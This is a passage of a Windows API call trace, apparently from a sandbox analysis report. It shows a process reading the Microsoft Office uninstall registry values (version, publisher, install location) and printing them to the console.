returned 0x1b5 [0146.865] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0146.865] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0146.865] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.865] __iob_func () returned 0x7fefd702a80 [0146.865] _fileno (_File=0x7fefd702ab0) returned 1 [0146.865] _errno () returned 0xc4bb0 [0146.865] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.865] _errno () returned 0xc4bb0 [0146.865] GetFileType (hFile=0x50) returned 0x1 [0146.865] lstrlenW (lpString=" ") returned 4 [0146.865] GetConsoleOutputCP () returned 0x1b5 [0146.865] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.865] GetConsoleOutputCP () returned 0x1b5 [0146.865] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.865] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.865] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.866] __iob_func () returned 0x7fefd702a80 [0146.866] _fileno (_File=0x7fefd702ab0) returned 1 [0146.866] _errno () returned 0xc4bb0 [0146.866] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.866] _errno () returned 0xc4bb0 [0146.866] GetFileType (hFile=0x50) returned 0x1 [0146.866] lstrlenW (lpString="REG_SZ") returned 6 [0146.866] GetConsoleOutputCP () returned 0x1b5 [0146.866] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0146.866] GetConsoleOutputCP () returned 0x1b5 [0146.866] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0146.867] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0146.867] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.867] __iob_func () returned 0x7fefd702a80 [0146.867] _fileno (_File=0x7fefd702ab0) returned 1 [0146.867] _errno () returned 0xc4bb0 [0146.867] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.867] _errno () returned 0xc4bb0 [0146.867] GetFileType (hFile=0x50) returned 0x1 [0146.867] lstrlenW (lpString=" ") returned 4 [0146.867] GetConsoleOutputCP () returned 0x1b5 [0146.867] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.867] GetConsoleOutputCP () returned 0x1b5 [0146.867] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.867] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.867] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.867] __iob_func () returned 0x7fefd702a80 [0146.867] _fileno (_File=0x7fefd702ab0) returned 1 [0146.867] _errno () returned 0xc4bb0 [0146.867] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.867] _errno () returned 0xc4bb0 [0146.867] GetFileType (hFile=0x50) returned 0x1 [0146.867] lstrlenW (lpString="16.0.8431.2079") returned 14 [0146.867] GetConsoleOutputCP () returned 0x1b5 [0146.868] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="16.0.8431.2079", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0146.868] GetConsoleOutputCP () returned 0x1b5 [0146.868] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="16.0.8431.2079", cchWideChar=14, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16.0.8431.2079", lpUsedDefaultChar=0x0) returned 14 [0146.868] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0146.868] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.868] __iob_func () returned 0x7fefd702a80 [0146.868] _fileno (_File=0x7fefd702ab0) returned 1 [0146.868] _errno () returned 0xc4bb0 [0146.868] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.868] _errno () returned 0xc4bb0 [0146.868] GetFileType (hFile=0x50) returned 0x1 [0146.868] lstrlenW (lpString="\n") returned 1 [0146.868] GetConsoleOutputCP () returned 0x1b5 [0146.868] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.868] GetConsoleOutputCP () returned 0x1b5 [0146.868] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.868] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.868] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.868] GetProcessHeap () returned 0x2e0000 [0146.868] GetProcessHeap () returned 0x2e0000 [0146.868] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0) returned 1 [0146.868] GetProcessHeap () returned 0x2e0000 [0146.869] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bf0) returned 0x22 [0146.869] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0 | out: hHeap=0x2e0000) returned 1 [0146.869] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.869] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x2e) returned 0x0 [0146.869] GetProcessHeap () returned 0x2e0000 [0146.869] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x30) returned 0x2f7890 [0146.869] GetProcessHeap () returned 0x2e0000 [0146.869] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0146.869] GetProcessHeap () returned 0x2e0000 [0146.869] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x30 [0146.869] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f7890, pcbData=0x23f670*=0x2e | out: pdwType=0x23f5f0*=0x1, pvData="Microsoft Corporation", pcbData=0x23f670*=0x2c) returned 0x0 [0146.869] __iob_func () returned 0x7fefd702a80 [0146.869] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.869] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.869] _fileno (_File=0x7fefd702ab0) returned 1 [0146.869] _errno () returned 0xc4bb0 [0146.869] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.869] _errno () returned 0xc4bb0 [0146.869] GetFileType (hFile=0x50) returned 0x1 [0146.869] lstrlenW (lpString=" ") returned 4 [0146.869] GetConsoleOutputCP () returned 0x1b5 [0146.869] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.869] GetConsoleOutputCP () returned 0x1b5 [0146.869] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.869] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.869] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.870] lstrlenW (lpString="Publisher") returned 9 [0146.870] __iob_func () returned 0x7fefd702a80 [0146.870] _fileno (_File=0x7fefd702ab0) returned 1 [0146.870] _errno () returned 0xc4bb0 [0146.870] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.870] _errno () returned 0xc4bb0 [0146.870] GetFileType (hFile=0x50) returned 0x1 [0146.870] lstrlenW (lpString="Publisher") returned 9 [0146.870] GetConsoleOutputCP () returned 0x1b5 [0146.870] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0146.870] GetConsoleOutputCP () returned 0x1b5 [0146.870] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0146.870] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0146.870] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.870] __iob_func () returned 0x7fefd702a80 [0146.870] _fileno (_File=0x7fefd702ab0) returned 1 [0146.870] _errno () returned 0xc4bb0 [0146.870] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.870] _errno () returned 0xc4bb0 [0146.870] GetFileType (hFile=0x50) returned 0x1 [0146.870] lstrlenW (lpString=" ") returned 4 [0146.870] GetConsoleOutputCP () returned 0x1b5 [0146.871] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.871] GetConsoleOutputCP () returned 0x1b5 [0146.871] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.871] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.871] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.871] __iob_func () returned 0x7fefd702a80 [0146.871] _fileno (_File=0x7fefd702ab0) returned 1 [0146.871] _errno () returned 0xc4bb0 [0146.871] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.871] _errno () returned 0xc4bb0 [0146.871] GetFileType (hFile=0x50) returned 0x1 [0146.871] lstrlenW (lpString="REG_SZ") returned 6 [0146.871] GetConsoleOutputCP () returned 0x1b5 [0146.871] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0146.871] GetConsoleOutputCP () returned 0x1b5 [0146.871] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0146.871] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0146.871] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.871] __iob_func () returned 0x7fefd702a80 [0146.871] _fileno (_File=0x7fefd702ab0) returned 1 [0146.871] _errno () returned 0xc4bb0 [0146.871] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.871] _errno () returned 0xc4bb0 [0146.872] GetFileType (hFile=0x50) returned 0x1 [0146.872] lstrlenW (lpString=" ") returned 4 [0146.872] GetConsoleOutputCP () returned 0x1b5 [0146.872] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.872] GetConsoleOutputCP () returned 0x1b5 [0146.872] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.872] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.872] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.872] __iob_func () returned 0x7fefd702a80 [0146.872] _fileno (_File=0x7fefd702ab0) returned 1 [0146.872] _errno () returned 0xc4bb0 [0146.872] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.872] _errno () returned 0xc4bb0 [0146.872] GetFileType (hFile=0x50) returned 0x1 [0146.872] lstrlenW (lpString="Microsoft Corporation") returned 21 [0146.872] GetConsoleOutputCP () returned 0x1b5 [0146.872] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0146.872] GetConsoleOutputCP () returned 0x1b5 [0146.872] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Corporation", lpUsedDefaultChar=0x0) returned 21 [0146.873] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 21 [0146.873] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.873] __iob_func () returned 0x7fefd702a80 [0146.873] _fileno (_File=0x7fefd702ab0) returned 1 [0146.873] _errno () returned 0xc4bb0 [0146.873] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.873] _errno () returned 0xc4bb0 [0146.873] GetFileType (hFile=0x50) returned 0x1 [0146.873] lstrlenW (lpString="\n") returned 1 [0146.873] GetConsoleOutputCP () returned 0x1b5 [0146.873] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.873] GetConsoleOutputCP () returned 0x1b5 [0146.873] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.873] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.873] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.873] GetProcessHeap () returned 0x2e0000 [0146.873] GetProcessHeap () returned 0x2e0000 [0146.873] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0146.873] GetProcessHeap () returned 0x2e0000 [0146.873] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x30 [0146.873] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890 | out: hHeap=0x2e0000) returned 1 [0146.873] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallLocation", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.873] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x46) returned 0x0 [0146.873] GetProcessHeap () returned 0x2e0000 [0146.874] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x48) returned 0x2f9cc0 [0146.874] GetProcessHeap () returned 0x2e0000 [0146.874] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f9cc0) returned 1 [0146.874] GetProcessHeap () returned 0x2e0000 [0146.874] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f9cc0) returned 0x48 [0146.874] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f9cc0, pcbData=0x23f670*=0x46 | out: pdwType=0x23f5f0*=0x1, pvData="C:\\Program Files\\Microsoft Office", pcbData=0x23f670*=0x44) returned 0x0 [0146.874] __iob_func () returned 0x7fefd702a80 [0146.874] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.874] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.874] _fileno (_File=0x7fefd702ab0) returned 1 [0146.874] _errno () returned 0xc4bb0 [0146.874] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.874] _errno () returned 0xc4bb0 [0146.874] GetFileType (hFile=0x50) returned 0x1 [0146.874] lstrlenW (lpString=" ") returned 4 [0146.874] GetConsoleOutputCP () returned 0x1b5 [0146.874] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.874] GetConsoleOutputCP () returned 0x1b5 [0146.874] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.874] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.874] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.874] lstrlenW (lpString="InstallLocation") returned 15 [0146.874] __iob_func () returned 0x7fefd702a80 [0146.874] _fileno (_File=0x7fefd702ab0) returned 1 [0146.874] _errno () returned 0xc4bb0 [0146.874] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.874] _errno () returned 0xc4bb0 [0146.874] GetFileType (hFile=0x50) returned 0x1 [0146.875] lstrlenW (lpString="InstallLocation") returned 15 [0146.875] GetConsoleOutputCP () returned 0x1b5 [0146.875] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0146.875] GetConsoleOutputCP () returned 0x1b5 [0146.875] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallLocation", lpUsedDefaultChar=0x0) returned 15 [0146.875] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0146.875] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.875] __iob_func () returned 0x7fefd702a80 [0146.875] _fileno (_File=0x7fefd702ab0) returned 1 [0146.875] _errno () returned 0xc4bb0 [0146.875] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.875] _errno () returned 0xc4bb0 [0146.875] GetFileType (hFile=0x50) returned 0x1 [0146.875] lstrlenW (lpString=" ") returned 4 [0146.875] GetConsoleOutputCP () returned 0x1b5 [0146.875] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.875] GetConsoleOutputCP () returned 0x1b5 [0146.875] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.875] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.876] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.876] __iob_func () returned 0x7fefd702a80 [0146.876] _fileno (_File=0x7fefd702ab0) returned 1 [0146.876] _errno () returned 0xc4bb0 [0146.876] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.876] _errno () returned 0xc4bb0 [0146.876] GetFileType (hFile=0x50) returned 0x1 [0146.876] lstrlenW (lpString="REG_SZ") returned 6 [0146.876] GetConsoleOutputCP () returned 0x1b5 [0146.876] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0146.876] GetConsoleOutputCP () returned 0x1b5 [0146.876] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0146.876] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0146.876] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.876] __iob_func () returned 0x7fefd702a80 [0146.876] _fileno (_File=0x7fefd702ab0) returned 1 [0146.876] _errno () returned 0xc4bb0 [0146.876] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.876] _errno () returned 0xc4bb0 [0146.876] GetFileType (hFile=0x50) returned 0x1 [0146.876] lstrlenW (lpString=" ") returned 4 [0146.876] GetConsoleOutputCP () returned 0x1b5 [0146.876] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.877] GetConsoleOutputCP () returned 0x1b5 [0146.877] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.877] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.877] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.877] __iob_func () returned 0x7fefd702a80 [0146.877] _fileno (_File=0x7fefd702ab0) returned 1 [0146.877] _errno () returned 0xc4bb0 [0146.877] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.877] _errno () returned 0xc4bb0 [0146.877] GetFileType (hFile=0x50) returned 0x1 [0146.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office") returned 33 [0146.877] GetConsoleOutputCP () returned 0x1b5 [0146.877] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0146.877] GetConsoleOutputCP () returned 0x1b5 [0146.877] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office", cchWideChar=33, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office", lpUsedDefaultChar=0x0) returned 33 [0146.877] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 33 [0146.877] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.877] __iob_func () returned 0x7fefd702a80 [0146.877] _fileno (_File=0x7fefd702ab0) returned 1 [0146.877] _errno () returned 0xc4bb0 [0146.877] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.877] _errno () returned 0xc4bb0 [0146.877] GetFileType (hFile=0x50) returned 0x1 [0146.878] lstrlenW (lpString="\n") returned 1 [0146.878] GetConsoleOutputCP () returned 0x1b5 [0146.878] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.878] GetConsoleOutputCP () returned 0x1b5 [0146.878] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.878] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.878] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.878] GetProcessHeap () 